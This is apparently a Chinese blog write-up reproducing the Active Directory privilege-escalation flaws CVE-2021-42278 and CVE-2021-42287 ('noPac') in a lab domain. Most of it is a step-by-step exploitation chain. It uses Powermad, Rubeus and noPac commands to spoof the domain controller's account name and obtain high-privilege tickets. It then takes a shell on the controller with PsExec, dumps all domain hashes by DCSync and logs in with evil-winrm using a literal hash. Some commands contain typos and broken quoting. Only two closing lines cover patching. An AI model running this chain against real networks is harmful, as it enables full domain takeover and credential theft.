距离漏洞披露已经过了许久,现在终于有些空余时间用于学习复现这两个漏洞。
概括
- CVE-2021-42278,机器账户的名称一般用
$
结尾,但AD并未对域内机器账户名进行验证。 - CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在
TGS_REP
阶段加密TGS Ticket
时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket
,提供一个属于该账户的PAC
,我们便可得到一个高权限的ST。
攻击流程:
- 首先创建一个机器账户
- 清除机器账户的
servicePrincipalName
属性 - 将机器账户的
sAMAccountName
修改为DC的机器账户名,但不带$ - 使用机器账户的身份请求TGT
- 将机器账户的
sAMAccountName
修改为其他值,不能与DC的机器账户名重复。 - 通过S4U2Self向KDC申请ST
- 拿到高权限ST票据,完成利用。
利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName
修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName
修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。
复现过程:
手动实现
1.创建机器账户
拿到域成员权限后,利用Powermad.ps1创建机器用户
1 | Import-Module Poweremad.ps1 |
验证是否添加成功
1 | net group "domain computers" /domain |
2.擦除SPN记录信息
注册机器账户后,会自动在Nayon$
的名下注册SPN服务,此时我们需要擦除,免于影响我们接下来的操作。
1 | Get-DomainObject "CN=Nayon,CN=Computers,DC=attack",DC="local" #查看Nayon$用户下的信息 |
此时已将记录清除。
3.修改samaccountname
伪造机器账户名
1 | Set-MachineAccountAttribute -MachineAccount 机器账户名 -Value "要伪造的机器账户名(无$)" -Attribute |
此时可以看到,我们的Nayon$
用户,在修改了samaccountname
值后,用户名已改为DC
。
4.申请TGT票据
由于知道机器账户的明文密码,我们可以直接使用Rubeus申请TGT票据
1 | Rubeus.exe asktgt /user:DC /password:******* /domain:attack.local /dc:attack.local /nowrap |
注: nowrap 选项,票据不换行,便于我们导出为文件
5.再次修改samaccountname
值
将拿到的票据保存,并继续修改Nayon$
用户的samaccountname
,使其不为DC
1 | Set-MachineAccountAttribute -MachineAccount Nayon -Value "Nayon" -Attribute |
6.借用DC用户的TGT去DC$的ST票据
利用Rubeus实现
1 | Rubeus.exe s4u /self /impersonateuser:"Administrator" |
此时已拥有访问dc的共享目录权限。
1 | dir \\dc\c$ |
自动化实现
使用noPac项目实现:
1 | https://github.com/cube0x0/noPac |
项目下载地址,需本地自行编译。
1 | ./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local |
Psexec方式直接Getshell
若要通过此方式获得shell,在前一步仅获得cifs
服务的权限还不够,我们还需要申请拿到host服务的权限
1 | PsExec64.exe \\dc.attack.local cmd |
Dcsync拖取域内所有hash
想要拖取域内hash,我们可以利用漏洞申请ldap
服务的ST票据,PTT加载后,通过mimikatz申请
1 | ./noPac.exe -domain attack.local -user Webmanager -pass 'Password@1!' /dc dc.attack.local /mAccount test /mPassword test0123 /service ldap /ptt |
拿到hash后利用Evil-Winrm
登陆域控getshell
,当然,此处也可使用impacket
套件。
1 | evil-winrm -i 10.10.10.165 -u Administrator -H "dbf36575210cc5a38ab4050cc6a2e9aa" |
关于漏洞修复
- 安装微软官方的:KB5008602、KB5008380补丁。
- 通过ADSI编辑器将AD域的MAQ配置为0,中断漏洞的利用链。